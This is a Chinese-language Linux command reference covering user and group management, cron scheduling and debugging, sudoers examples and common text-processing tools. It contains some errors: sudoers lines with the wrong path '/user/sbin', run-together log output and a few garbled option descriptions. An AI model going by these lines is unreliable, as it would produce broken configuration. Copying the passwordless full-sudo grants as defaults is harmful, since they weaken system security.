chmod 755 FILE 其他人不能写
lsattr
lsattr 显示文件在Linux第二扩展文件系统上的特有属性
chattr
chattr 修改Linux文件系统的文件属性
+i 不能删除,改名,更改(加锁)
+a 只能追加内容(用于日志文件)
vipw
vipw – 加锁编辑/etc/passwd、/etc/shadow、/etc/group和/etc/gshadow文件,以防止文件损坏
-g 编辑group数据库
-p 编辑passwd数据库
-q 安静模式
-s 编辑shadow或gshadow数据库
vigr
vigr - 编辑/etc/group、/etc/gshado文件。
寻找编辑器将首先尝试环境变量$VISUAL,然后是环境变量$EDITOR,最后默认是vi编辑器
-g 修改组信息
-p 修改密码信息
-R 在CHROOT_DIR目录中应用更改并使用CHROOT_DIR目录中的配置文件
-s 编辑shadow 或 gshadow 信息
pwck
pwck – 验证系统认证文件/etc/passwd和/etc/shadow的内容和格式的完整性
-q 仅报告错误信息
-s 以用户id排序文件
-r 只读方式运行指令
grpck
grpck - 检查数据是否正确存放,每条记录是否都包含足够的信息,
是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。
-r 只读模式
-s 排序组id
authconfig
更改加密算法:
authconfig --passalgo=sha256 --update
md5: message digest, 128bits
sha1: secure hash algorithm, 160bits
sha224: 224bits
sha256: 256bits
sha384: 384bits
sha512: 512bits
whoami
whoami 当前登录有效用户
who
who 当前所有的登录会话
who am i ; tty 当前登录的终端
w
w [-fhisuV] [LOGIN] 当前所有的登录会话及所做的操作,活动用户
-f 关闭显示用户从何处登入系统。
-h 不显示各栏位的标题信息列。
-i 详细列表 (default)
-s 简洁列表,不显示用户登入时间,终端机阶段作业和程序所耗费的CPU时间。
-u 忽略执行程序的名称、耗费CPU时间信息。
useradd
useradd [options] [LOGIN] 创建(默认值设定:/etc/default/useradd)
-s /sbin/nologin 指定用户shell登录方式,可用列表在/etc/shells文件中
-m 创建家目录,用于系统用户
-M 不创建家目录,用于非系统用户
-u 指定用户uid信息
-g 指定用户所属主要组信息
-G 指定用户所属附属组信息,组须事先存在
-c 指定用户注释信息
-o 配合-u 选项,不检查UID的唯一性
-d HOME_DIR 以指定的路径(不存在)为家目录(默认:在 /home 目录下)
-N 不创建与用户同名的基本用户组(默认:创建)
-r 创建系统用户 CentOS 6: ID<500,CentOS 7: ID<1000
-e 账户到期时间,格式为 YYYY-MM-DD.
-D 显示或更改默认设置
-s SHELL 指定该用户默认的shell解释器(默认:shell为 /bin/bash )
–b BASE_DIR 新帐户家目录的基目录
–g GROUP
新用户的家目录下配置文件:/etc/skel/*
newusers
newusers passwd格式的文件 批量创建用户,一般用于创建虚拟用户,创建的家目录没有配置文件
-c 指定加密方法,可以指定为NONE、DES、MD5、SHA256、SHA5121
-r 创建系统账户
-s 为SHA*加密算法进行四舍五入
passwd格式的文件:
linuxcool0:x:520:520::/home/zhangsan0:/bin/bash
chpasswd
chpasswd < 用户名:密码格式的文件
批量修改用户口令
-e 输入的密码是加密后的密文
-m 当被支持的密码未被加密时,使用MD5加密代替DES加密
使用文件:
用户名:密码
usermod
usermod [options] [LOGIN] 修改
-s /sbin/nologin 指定用户shell登录方式
-u 指定用户uid信息
-g 指定用户所主要属组组信息
-G 指定用户所属附属组信息,覆盖原来的附加组;同时使用-a若保留原有
-c 指定用户注释信息
-d HOME 新家目录不会自动创建;同时使用-m创建新家目录并移动原家数据
-l login_name 新的名字
-L lock指定用户,在 /etc/shadow 密码栏的增加 !
-U unlock指定用户,将 /etc/shadow 密码栏的 ! 拿掉
-e YYYY-MM-DD 指明用户账号过期日期
-f INACTIVE 设定非活动期限
userdel
userdel [options] [LOGIN]
-f 强制删除用户
-r 彻底删除用户信息和home目录,邮件(默认保留home目录)
passwd
passwd [options] [LOGIN] 修改当前用户密码
-d 删除指定用户密码
-l 锁定指定用户
-u 解锁指定用户
-e 强制用户下次登录修改密码
-f 强制操作
-S 显示用户的密码是否被锁定,以及密码所使用的加密算法名称
-n mindays 指定最短使用期限
-x maxdays 最大使用期限
-w warndays 提前多少天开始警告
-i inactivedays 非活动期限
--stdin 从标准输入接收用户密码;
示例:echo "PASSWORD" | passwd --stdin USERNAME
chage
chage [OPTION]... LOGIN 设置用户策略,用户策略默认配置文件:/etc/login.defs
-d, --lastday LAST_DAY 设置最近一次更改密码的天数为LAST_DAY;
0 下一次登录强制重设密码
-E, --expiredate EXPIRE_DATE 设置帐户到期日期为EXPIRE_DATE;yyyy-mm-dd
-I, --inactive INACTIVE 设置过期后不活动账户密码为INACTIVE
-m, --mindays MIN_DAYS 设置修改密码最小天数为MIN_DAYS
-M, --maxdays MAX_DAYS 设置修改密码最大天数为MAX_DAYS
-R, --root CHROOT_DIR 改变用户进入的根目录
-W, --warndays WARN_DAYS 设置过期警告天数为WARN_DAYS
chfn
chfn 交互式指定个人信息,修改存放在 /etc/passwd 中的 finger 信息
-f 设置真实姓名
-h 设置家中的电话号码
-u 帮助
chsh
chsh 交互式指定用户登陆shell
-l 打印/etc/shells中列出的shell列表并退出
-s 指定登录shell
-u 帮助
groupadd
groupadd [OPTION] group_name 创建用户组
-g GID 指明GID号;[GID_MIN, GID_MAX]
-r 创建系统组 CentOS 6: ID<500;CentOS 7: ID<1000
groupmod
groupmod [OPTION] group_name 修改用户组
-n group_name 新名字
-g GID 新GID
groupdel
groupdel group_name 删除用户组
gpasswd
gpasswd [OPTION] GROUP 更改组密码
-a user 将user添加至指定组中
-d user 从指定组中移除用户user
-A user1,user2,... 设置有管理权限的用户列表
newgrp
newgrp 临时切换主组,如果用户本不属于此组,则需要组密码
groupmems
groupmems [options] [action]
options:
-g, --group groupname 更改为指定组root(默认)
-R, --root CHROOT_DIR 改变用户进入的根目录
actions:
-a, --add username 指定用户加入组
-d, --delete username 从组中删除用户
-p, --purge 从组中清除所有成员
-l, --list 显示组成员列表
groups
groups [OPTION] [USERNAME]... 查看用户所属组列表
id
id [OPTION]... [USER] 显示当前用户的ID,以及所属群组的ID
-u 显示UID
-g 显示GID
-G 显示用户所属的组的ID
-n 显示名称,需配合ugG使用
last
last 查看用户登录日志
lastlog
lastlog 显示所有用户最后一次登录的时间
cat
cat 文件名称 文件名称 合并显示
cat [OPTION]... [FILE]... 输出文件内容信息
-A, --show-all equivalent to -vET (equivalent 相等的)
-b, --number-nonblank number nonempty output lines, overrides -n
(nonempty 非空)(overrides 覆盖)
-e equivalent to -vE
-E, --show-ends display $ at end of each line
-n, --number number all output lines
-s, --squeeze-blank suppress repeated empty output lines
(suppress repeated 抑制重复)
-t equivalent to -vT
-T, --show-tabs display TAB characters as ^I
-v, --show-nonprinting 使用^和M-表示法,LFD和TAB除外
With no FILE, or when FILE is -, read standard input.(standard 标准)
Examples:
cat file1 - file2 Output file1's contents, then standard input, then file2's contents.(contents 内容)
cat > file 标准输入 覆盖写入 file 按ctrl+d离开
EOF=END Of File 表示自定义终止符,Ctrl+d
<< 标准输入来自命令行的一对分隔号的中间内容.
<<EOF //开始
....
EOF //结束
'文件'<=>'<< EOF EOF'
'<< EOF EOF' 类似一个临时文件,执行脚本时:自动输入N行内容
tac
与cat相反
tac [OPTION]... [FILE]... 反向输出文件内容信息
-b 在行前而非行尾添加分隔标志
-r 将分隔标志视作正则表达式来解析
-s 使用指定字符串代替换行作为分隔标志
rev
rev [文件] 把每一行字符的顺序颠倒过来显示文件内容
nl
nl [OPTION]... [FILE]... 显示文件并添加行号。如果没有文件,或者当文件为-,则读取标准输入。
-b 指定行号指定的方式
a number all lines
t number only nonempty lines
n number no lines
pBRE number only lines that 包含基本正则表达式BRE的匹配项
-n 列出行号表示的方式
ln 左对齐,无前导零
rn 右对齐,无前导零
rz 右对齐,前导零
-w 行号栏占用的位数
-p 在逻辑定界符处不重新开始计算。
cut
cut 将每个文件中选定的行部分打印到标准输出
-b, --bytes=LIST 仅打印LIST个字节
-c, --characters=LIST 仅打印LIST个字符 - 表示往后所有
-d, --delimiter=DELIM 使用DELIM代替TAB作为字段分隔符
-f, --fields=LIST 仅打印LIST字段;同时打印不包含分隔符字符的任何行,除非指定 -s
-n 同时使用-b:不拆分多字节字符
--complement 对所选字节、字符或字段集进行补充
-s, --only-delimited 不打印不包含分隔符的行
--output-delimiter=STRING
使用字符串作为输出分隔符,默认使用输入分隔符
cut -d: -f1 /etc/passwd 仅打印 /etc/passwd 以:作为字段分隔符的第一列字段
cut -c2- /etc/passwd 仅打印 /etc/passwd 每行从第2个字符开使的内容
cut -d: -f1 /etc/passwd 查看系统所有用户
cut -d: -f1 /etc/group 查看系统所有组
crontab
用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,是一个daemon类程序,路径为/usr/sbin/crond,默认会以后台方式自动启动crond进程,每分钟定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crondtab是管理crontab file的工具,而crontab file是定义定时任务条目的文件。
crontab file存在于多处,包括系统定时任务文件/etc/crontab和/etc/cron.d/*,还有独属于各用户的任务文件/var/spool/cron/USERNAME。
(1).在此文件中,空行会被忽略,首个非空白字符且以#开头的行为注释行,但#不能出现在行中。
(2).可以在crontab file中设置环境变量,方式为"name=value",等号两边的空格可随意,即"name = value"也是允许的。但value中出现的空格必须使用引号包围。
(3). 默认crond命令启动的时候会初始化所有变量,除了某几个变量会被crond daemon自动设置好,其他所有变量都被设置为空值,然后加载自定义变量到内存。自动设置的变量包括SHELL=/bin/sh,以及HOME和USER,后两者将被默认设置为/etc/passwd中指定的值。其中SHELL和HOME可以被crontab file中自定义的变量覆盖,但USER不允许覆盖。
(4).如果MAILTO定义的值为空(MAILTO=""),不发送邮件; 如果设置了MAILTO,则邮件将发送给此变量指定的地址,其他所有情况邮件都会发送给crontab file的所有者。
(5).在系统定时任务文件/etc/crontab中,默认已定义环境变量SHELL和PATH=/sbin:/bin:/usr/sbin:/usr/bin。
Linux下的任务调度分为两类,系统任务调度和用户任务调度。
系统任务调度:系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。配置文件: /etc/crontab 需要指定执行用户。
用户任务调度:用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的 crontab 文件都被保存在 /var/spool/cron目录中。其文件名与用户名一致。
注意:当程序在你所指定的时间执行后,系统会发一封邮件给当前的用户,显示该程序执行的内容,若是你不希望收到这样的邮件,请在每一行最后空一格后加上 > /dev/null 2>&1
(防止/var/spool/clientmqueue爆满)
相关配置文件:
/etc/crontab:系统任务调度,定期执行程序,直接修改配置文件
/var/spool/cron/用户名:用户任务调度,定期执行程序,可使用 crontab 命令设置
/var/log/cron:定时任务的日志文件
/etc/cron.deny:定时任务黑名单
/etc/cron.hourly/:系统定时任务每个小时运行这个目录里的内容
/etc/cron.daily/:系统定时任务每天运行这个目录里的内容
/etc/cron.weekly/:系统定时任务每周运行这个目录里的内容
/etc/cron.monthly/:系统定时任务每月运行这个目录里的内容
crontab [-u username] [file] [ -e | -l | -r ]
-l 查看当前用户的计划任务
-e 编辑当前用户的计划任务
-r 删除当前用户的所有计划任务
-i 同 -r 一同使用,以交互式模式移除指定任务
-u 仅root可运行,指定要设置计划任务的用户
参数格式( 如果有些字段没有设置,则需要使用星号(*)占位 ):
minute hour day month week user command
顺序:分 时 日 月 周 用户 命令
参数字段说明:
minute 表示分钟,是从0到59之间的任何整数
hour 表示小时,是从0到23之间的任何整数
day 表示日期,是从1到31之间的任何整数
month 表示月份,是从1到12之间的任何整数
week 表示星期,是从0到7之间的任何整数,其中0或7代表星期日
user 表示用户,/var/spool/cron目录中的用户调度任务,没有user一项,因为文件名已经代表了user。
command 要执行的命令,可以是系统命令,也可以是自己编写的脚本文件
星号(*):每,取值范围内的所有数字,
例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):枚举, 可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
中杠(-):范围, 可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
正斜线(/):忽略时间,可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。
*/n :例如*/10,如果用在minute字段,表示每十分钟执行一次。
注意:
1.如果定义的日和周冲突了,则会多次执行(不包括因为*号导致的冲突)。因此,应该尽力避免同时定义周和日的任务。
2.命令中,不能随意出现百分号"%",因为它表示换行的特殊意义,且第一个%后的所有字符串将当作命令的标准输入。所以,在定时任务条目中若以时间定义文件名时,应当将%使用反斜杠转义。
3.使用*号导致低级别的时间覆盖高级别的时间。例如:
"* */2 * * *",分钟位上的设置覆盖小时位上的设置,表示每分钟执行一次
"*/5 */2 * * *",分钟位上的设置覆盖小时位上的设置,表示每5分钟执行一次而忽略小时位的设置;
"00 */2 */5 * *",表示每隔两小时的整点执行一次任务而忽略天数位的设置。
Examples:
实例1:每分钟、每小时、每天、每周、每月、每年执行
* * * * * myCommand
0 * * * * myCommand
0 0 * * * myCommand
0 0 * * 0 myCommand
0 0 1 * * myCommand
0 0 1 1 * myCommand
实例2:每小时的第3和第15分钟执行
3,15 * * * * myCommand
实例3:在上午8点到11点的第3和第15分钟执行
3,15 8-11 * * * myCommand
实例4:每隔两天的上午8点到11点的第3和第15分钟执行
3,15 8-11 */2 * * myCommand
实例5:每周一上午8点到11点的第3和第15分钟执行
3,15 8-11 * * 1 myCommand
实例6:每晚的21:30重启smb
30 21 * * * /etc/init.d/smb restart
实例7:每月1、10、22日的4 : 45重启smb
45 4 1,10,22 * * /etc/init.d/smb restart
实例8:每周六、周日的1 : 10重启smb
10 1 * * 6,0 /etc/init.d/smb restart
实例9:每天18 : 00至23 : 00之间每隔30分钟重启smb
0,30 18-23 * * * /etc/init.d/smb restart
实例10:每星期六的晚上11 : 00 pm重启smb
0 23 * * 6 /etc/init.d/smb restart
实例11:晚上11点到早上7点之间,每隔一小时重启smb
0 23-7/1 * * * /etc/init.d/smb restart
实例12:每月的4号与每周一到周三的11点重启smb
0 11 4 * mon-wed /etc/init.d/smb restart
实例13:每小时执行/etc/cron.hourly目录内的脚本,run-parts 运行目录内的脚本
01 * * * * root run-parts /etc/cron.hourly
[root@linuxcool ~]# crontab -e
no crontab for root - using an empty one
crontab: installing new crontab
[root@linuxcool ~]# crontab -l
25 3 * * 1,3,5 /usr/bin/tar -czvf backup.tar.gz /home/wwwroot
# 每周一、三、五的凌晨3点25分,把网站目录打包备份
crond命令的调试
使用下面三条命令启动的crond都是在后台运行的,且都不依赖于终端:
systemctl start crond.service
service crond start
crond
[root@server2 ~]$ cat /lib/systemd/system/crond.service # crond启动脚本
[Unit]
Description=Command Scheduler
After=auditd.service systemd-user-sessions.service time-sync.target
[Service]EnvironmentFile=/etc/sysconfig/crond
ExecStart=/usr/sbin/crond -n $CRONDARGSExecReload=/bin/kill -HUP $MAINPID
KillMode=process
[Install]
WantedBy=multi-user.target
[root@server2 ~]$ cat /etc/sysconfig/crond # crond环境配置文件
# Settings for the CRON daemon.
# CRONDARGS= : any extra command-line startup arguments for crond
CRONDARGS=
crond [-n] [-P] [-x flags]
-n:让crond以前端方式运行,即不依赖于终端。
-P:不重设环境变量PATH,而是从父进程中继承。
-x:设置调试项,flags是调试方式,比较有用的方式是test和sch,即"-x test"和"-x sch"。
:其中test调试将不会真正的执行,sch调试将可以看到等待时间。具体的见下面的示例。
[root@server2 ~]$ crond -x test
debug flags enabled: test
[4903] cron started
log_it: (CRON 4903) INFO (RANDOM_DELAY will be scaled with factor 8% if used.)
log_it: (CRON 4903) INFO (running with inotify support)
log_it: (CRON 4903) INFO (@reboot jobs will be run at computer's startup.)log_it: (root 4905) CMD (echo "hello world" >>/tmp/hello.txt )
[root@server2 ~]$ crond -x sch
debug flags enabled: sch
[4829] cron started
log_it: (CRON 4829) INFO (RANDOM_DELAY will be scaled with factor 73% if used.)
log_it: (CRON 4829) INFO (running with inotify support)
[4829] GMToff=28800log_it: (CRON 4829) INFO (@reboot jobs will be run at computer's startup.)[4829] Target time=1497950880, sec-to-wait=38 # 等待crond daemon下一次的检测,所以表示38秒后crond将检测crontab file
user [root:0:0:...] cmd="echo "hello world" >>/tmp/hello.txt "
[4829] Target time=1497950940, sec-to-wait=60Minute-ly job. Recording time 1497922081log_it: (root 4831) CMD (echo "hello world" >>/tmp/hello.txt )user [root:0:0:...] cmd="echo "hello world" >>/tmp/hello.txt "[4829] Target time=1497951000, sec-to-wait=60Minute-ly job. Recording time 1497922141log_it: (root 4833) CMD (echo "hello world" >>/tmp/hello.txt )
注意,在sch调试结果中的等待时间是crond这个daemon的检测时间,除了第一次,之后每次都是60秒,因为默认crond是每分钟检测一次crontab file的。
例如,下面是某次的等待结果,在这几次等待检测过程中没有执行任何任务。
[4937] Target time=1497951720, sec-to-wait=18[4937] Target time=1497951780, sec-to-wait=60[4937] Target time=1497951840, sec-to-wait=60
同时使用多个调试方式,如:
[root@server2 ~]$ crond -x test,schdebug flags enabled: sch test[4914] cron started
log_it: (CRON 4914) INFO (RANDOM_DELAY will be scaled with factor 21% if used.)
log_it: (CRON 4914) INFO (running with inotify support)
[4914] GMToff=28800log_it: (CRON 4914) INFO (@reboot jobs will be run at computer's startup.)[4914] Target time=1497951540, sec-to-wait=9
user [root:0:0:...] cmd="echo "hello world" >>/tmp/hello.txt "
[4914] Target time=1497951600, sec-to-wait=60Minute-ly job. Recording time 1497922741log_it: (root 4916) CMD (echo "hello world" >>/tmp/hello.txt )
秒级任务计划
1.写一个脚本,在脚本中sleep3秒钟的时间,这样能实现每3秒执行一次命令。
[root@xuexi ~]$ cat /tmp/a.sh
#!/bin/bash
PATH="$PATH:/usr/local/bin:/usr/local/sbin"
for ((i=1;i<=20;i++));do ls /tmp sleep 3 done
[root@xuexi ~]$ cat /var/spool/cron/lisi* * * * * /bin/bash /tmp/a.sh
2.在cron配置文件中写入多条sleep命令和其他命令。
[root@xuexi ~]$ cat /var/spool/cron/lisi
* * * * * ls /tmp
* * * * * sleep 3 && ls /tmp
* * * * * sleep 6 && ls /tmp
* * * * * sleep 9 && ls /tmp
* * * * * sleep 12 && ls /tmp
…
* * * * * sleep 57 && ls /tmp
su
su [options...] [-] [user [args...]]
-,-l,--login 登录并改变到所切换的用户环境(默认不改变用户环境)
-c 执行一个命令,然后退出所切换到的用户环境
切换用户:root 切换至其他用户无须密码;非root用户切换时需要密码
su UserName 非登录式切换,即不会读取目标用户的配置文件,不改变当前工作目录
su - UserName 登录式切换,会读取目标用户的配置文件,切换至家目录,完全切换(常用)
su [-] UserName -c 'COMMAND' 换个身份执行命令
visudo
visudo # 拥有语法检测功能
# 末尾追加:
# test用户能在localhost主机执行useradd,userdel(要test密码)
test localhost=/user/sbin/useradd,/user/sbin/userdel
# test用户能从任何机器登录,以任何用户和用户组的身份运行除了useradd,userdel之外的任何命令(要test密码)
test ALL=(ALL) ALL,!/user/sbin/useradd,!/user/sbin/userdel
# test用户能在localhost主机执行useradd,userdel(不要test密码)
test localhost=NOPASSWD: /user/sbin/useradd,/user/sbin/userdel
# test用户能在任何机器执行useradd,userdel(不要test密码)
test ALL=NOPASSWD: /user/sbin/useradd,/user/sbin/userdel
# test用户能从任何机器登录,以任何用户和用户组的身份运行任何命令(要test密码)
test ALL=(ALL) ALL
# test用户能从任何机器登录,以任何用户和用户组的身份运行任何命令(不要test密码)
test ALL=(ALL) NOPASSWD: ALL
常见语法格式如下:
user MACHINE=COMMANDS
OPERATORS MAILSERVERS=SOFTWARE
自定义别名代替,格式如下
User_Alias OPERATORS=jerry,tom,tsengyia
Host_Alias MAILSERVERS=smtp,pop
Cmnd_Alias SOFTWARE=/bin/rpm,/usr/bin/yum
## Sudoers allows particular users to run various commands as
## the root user, without needing the root password.
## 该文件允许特定用户像root用户一样使用各种各样的命令,而不需要root用户的密码
##
## Examples are provided at the bottom of the file for collections
## of related commands, which can then be delegated out to particular
## users or groups.
## 在文件的底部提供了很多相关命令的示例以供选择,这些示例都可以被特定用户或
## 用户组所使用
##
## This file must be edited with the 'visudo' command.
## 该文件必须使用"visudo"命令编辑
## Host Aliases
## Groups of machines. You may prefer to use hostnames (perhaps using
## wildcards for entire domains) or IP addresses instead.
## 对于一组服务器,你可能会更喜欢使用主机名(可能是全域名的通配符)
## 或IP地址,这时可以配置主机别名
# Host_Alias FILESERVERS = fs1, fs2
# Host_Alias MAILSERVERS = smtp, smtp2
## User Aliases
## These aren't often necessary, as you can use regular groups
## (ie, from files, LDAP, NIS, etc) in this file - just use %groupname
## rather than USERALIAS
## 这并不很常用,因为你可以通过使用组来代替一组用户的别名
# User_Alias ADMINS = jsmith, mikem
## Command Aliases
## These are groups of related commands...
## 指定一系列相互关联的命令(当然可以是一个)的别名,通过赋予该别名sudo权限,
## 可以通过sudo调用所有别名包含的命令,下面是一些示例
## Networking 网络操作相关命令别名
# Cmnd_Alias NETWORKING = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient,
# /usr/bin/net, /sbin/iptables,
/usr/bin/rfcomm, /usr/bin/wvdial, /sbin/iwconfig, /sbin/mii-tool
## Installation and management of software 软件安装管理相关命令别名
# Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum
## Services 服务相关命令别名
# Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig
## Updating the locate database 本地数据库升级命令别名
# Cmnd_Alias LOCATE = /usr/bin/updatedb
## Storage 磁盘操作相关命令别名
# Cmnd_Alias STORAGE = /sbin/fdisk, /sbin/sfdisk, /sbin/parted, /sbin/partprobe, /bin/mount, /bin/umount
## Delegating permissions 代理权限相关命令别名
# Cmnd_Alias DELEGATING = /usr/sbin/visudo, /bin/chown, /bin/chmod, /bin/chgrp
## Processes 进程相关命令别名
# Cmnd_Alias PROCESSES = /bin/nice, /bin/kill, /usr/bin/kill, /usr/bin/killall
## Drivers 驱动命令别名
# Cmnd_Alias DRIVERS = /sbin/modprobe
# Defaults specification
#
# Disable "ssh hostname sudo <cmd>", because it will show the password in clear.
# You have to run "ssh -t hostname sudo <cmd>".
# 一些环境变量的相关配置,具体情况可见man soduers
Defaults requiretty
Defaults env_reset
Defaults env_keep = "COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS"
Defaults env_keep += "MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE"
Defaults env_keep += "LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES"
Defaults env_keep += "LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE"
Defaults env_keep += "LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY"
Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin
## Next comes the main part: which users can run what software on
## which machines (the sudoers file can be shared between multiple
## systems).
## 下面是规则配置:什么用户在哪台服务器上可以执行哪些命令(sudoers文件可以在多个系统上共享)
## Syntax(语法):
##
## user MACHINE=COMMANDS 用户 登录的主机=(可以变换的身份) 可以执行的命令
##
## The COMMANDS section may have other options added to it.
## 命令部分可以附带一些其它的选项
##
## Allow root to run any commands anywhere
## 允许root用户从任何机器登录,以任何用户和用户组的身份运行任何命令
root ALL=(ALL) ALL
## Allows members of the 'sys' group to run networking, software,
## service management apps and more.
## 允许sys中户组中的用户使用NETWORKING等所有别名中配置的命令
# %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS
## Allows people in group wheel to run all commands
## 允许wheel用户组中的用户执行所有命令
%wheel ALL=(ALL) ALL
## Same thing without a password
## 允许wheel用户组中的用户在不输入该用户的密码的情况下使用所有命令
# %wheel ALL=(ALL) NOPASSWD: ALL
## Allows members of the users group to mount and unmount the
## cdrom as root
## 允许users用户组中的用户像root用户一样使用mount、unmount、chrom命令
# %users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom
## Allows members of the users group to shutdown this system
## 允许users用户组中的用户关闭localhost这台服务器
# %users localhost=/sbin/shutdown -h now
## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment)
## 读取放置在/etc/sudoers.d/文件夹中的文件(此处的#不意味着这是一个声明)
#includedir /etc/sudoers.d
sudo
sudo COMMAND 以系统管理者的身份执行指令
-k 清除密码缓存
-l 查看拥有的sudo权限
chown
chown [OPTION]... [OWNER][:[GROUP]] FILE... 设置文件的属主/属组
-R: 递归 冒号也可用 . 替换
--reference=RFILE FILE... 参考文件RFILE,批量操作
Example:
chown root:admins testfile
chown mage testfile
chgrp
chgrp [OPTION]... GROUP FILE... 设置文件的属组信息
-R: 递归
--reference=RFILE FILE... 参考文件RFILE,批量操作
Example:
chgrp sales testfile
more
more [OPTIONS...] FILE... 分屏模式,首屏显示前5行的内容,当到达文件底时,会直接退出。
-NUM 指定每个屏幕的行数
+NUM 显示从行号NUM开始的文件内容
-d 帮助
less
less 分页模式,逐页查看文件内容
-N 显示行号
分屏模式快捷操作: f(空格) 下一页
b 上一页
G 跳转到末页
g 跳转到首页
100g 跳转到100行
100G 跳转到100行
q 退出
↑↓ 上一行/下一行
←→ 页面左移/右移
回车 下一行
v 进入vi编辑模式
:wq 保存并退出vi模式
/文本 搜索 文本
n/N 跳到下一个 或 上一个匹配
less 是 man 使用的分页器
head
head [OPTION]... [FILE]... 输出文件前几行内容(默认前10行)
-c 指定获取前 NUM 字节
-n 指定获取前 NUM 行
- 输出开头到倒数第 NUM 行的内容
+ 输出文件前 NUM 行内容
- 输出文件前 NUM 行内容
tail
tail [OPTION]... [FILE]... 输出文件后几行内容(默认后10行)
-c 指定获取后 NUM 字节
-n 指定获取后 NUM 行
- 输出文件后 NUM 行内容
+ 输出文件第 NUM 行到末尾的内容
- 输出文件后 NUM 行内容
-f 跟踪显示文件新追加的内容,常用日志监控
same as --follow[={name|descriptor}]
-F 跟踪显示文件新追加的内容,即使文件不在,也对该文件进行监控
same as --follow=name --retry
tailf
tailf [option] file 类似tail –f,当文件不增长时并不访问文件
-n, --lines NUMBER output the last NUMBER lines
-NUMBER same as `-n NUMBER'
cut
cut [OPTION]... [FILE]... 将每个文件中选定的行部分打印到标准输出
-b, --bytes=LIST 仅打印LIST字节
-c, --characters=LIST 仅打印LIST字符
-d, --delimiter=DELIM 使用DELIM代替TAB作为字段分隔符,必须配合-bcf
-f, --fields=LIST 仅打印LIST字段;同时打印不包含分隔符字符的任何行,除非指定了-s选项
-n 同时使用-b:不拆分多字节字符
--complement 对所选字节、字符或字段集进行补充
-s, --only-delimited 不打印不包含分隔符的行
--output-delimiter=STRING 使用字符串作为输出分隔符
默认使用输入分隔符
LIST
# 第#个字段
#,# 离散的多个字段,例如1,3,6
#-# 连续的多个字段, 例如1-6
#-#,# 混合使用,例如1-3,7
Example:
cut -d: -f1 /etc/passwd 仅打印 /etc/passwd 以:作为字段分隔符的第一列字段
cat /etc/passwd | cut -d: -f7
cut -c2-5 /usr/share/dict/words
paste
paste [OPTION]... [FILE]... 合并两个文件同行号的列到一行
-d 分隔符 指定分隔符,默认用TAB
-s 所有行合成一行显示
wc
wc [OPTION]... [FILE]... 统计显示行数、单词数、字节数
-c, --bytes print the byte counts
-m, --chars print the character counts(character counts 字符计数)
-l, --lines print the newline counts(newline 换行符,行数)
-L, --max-line-length print the length of the longest line(longest 最长的)
-w, --words print the word counts
Example:
wc story.txt
39 237 1901 story.txt
行数 字数 字节数
sort
sort [options] file(s)
-r 按照降序排序
-R 随机排序
-n 按照数值进行排序
-f 忽略(fold)字符串中的字符大小写
-u (独特,unique)删除输出中的重复行
-t c 使用c做为字段界定符
-k X 按照使用c分隔的X列来排序,能够使用多次(默认按照第一列排序)
Example:
cat /etc/passwd | sort -t:rnk3 按照使用:分隔的第三列数字降序排序
uniq
uniq [OPTION]... [FILE]... 从输入中删除前后相接的重复的行,连续且完全相同方为重复
-c 显示每行重复出现的次数
-d 仅显示重复过的行
-u 仅显示不曾重复的行
常和 sort 一起配合使用
Example:
sort userlist.txt | uniq -c
diff
diff以逐行的方式,比较文本文件的异同处。如果指定要比较目录,则diff会比较目录中相同文件名的文件,但不会比较其中子目录 。
diff
-a 将所有文件视为文本. 默认只会逐行比较文本文件
-b 不检查空格字符的不同
-W 在使用-y参数时,指定栏宽
-x 不比较选项中所指定的文件或目录
-X 您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件
-y 以并列的方式显示文件的异同之处
--left-column 在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容
--suppress-common-lines 在使用-y参数时,仅显示不同之处
-c,-C NUM,--context[=NUM] output NUM (default 3) lines of copied context
-u,-U NUM,--unified[=NUM] output NUM (default 3) lines of unified context
“统一的(unified)”diff格式文件 ,最适用于补丁文件
Example:
diff foo.conf foo2.conf # 比较两个文件之间的区别
5c5 # 注明第5行有区别(改变)
< use_widgets = no
---
> use_widgets = yes
diff -u foo.conf foo2.conf > foo.patch
patch
patch 复制在其它文件中进行的改变(要谨慎使用)
-b 自动备份改变了的文件
patch -b foo.conf foo.patch
grep
egrep
fgrep
grep: Global search REgular expression and Print out the line
作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查;打印匹配到的行
模式:由正则表达式字符及文本字符所编写的过滤条件
grep [OPTIONS] PATTERN [FILE...] 对信息进行过滤筛选
--color=auto: 对匹配到的文本着色显示
-m--max-count=NUM 匹配 NUM 次后停止
-v 显示不符合匹配的行
-i 忽略字符大小写
-n 显示匹配的行号
-c 统计匹配的行数
-o 仅显示匹配到的字符串,匹配成功一次显示一行
-d, --directories=ACTION 如何处理目录:ACTION is 'read', 'recurse', or 'skip'
-D, --devices=ACTION 如何处理设备、FIFO和套接字:ACTION is 'read' or 'skip'
-r, --recursive like --directories=recurse(recurse 递归)
-R, --dereference-recursive likewise,但遵循所有符号链接
-q 静默模式,不输出任何信息
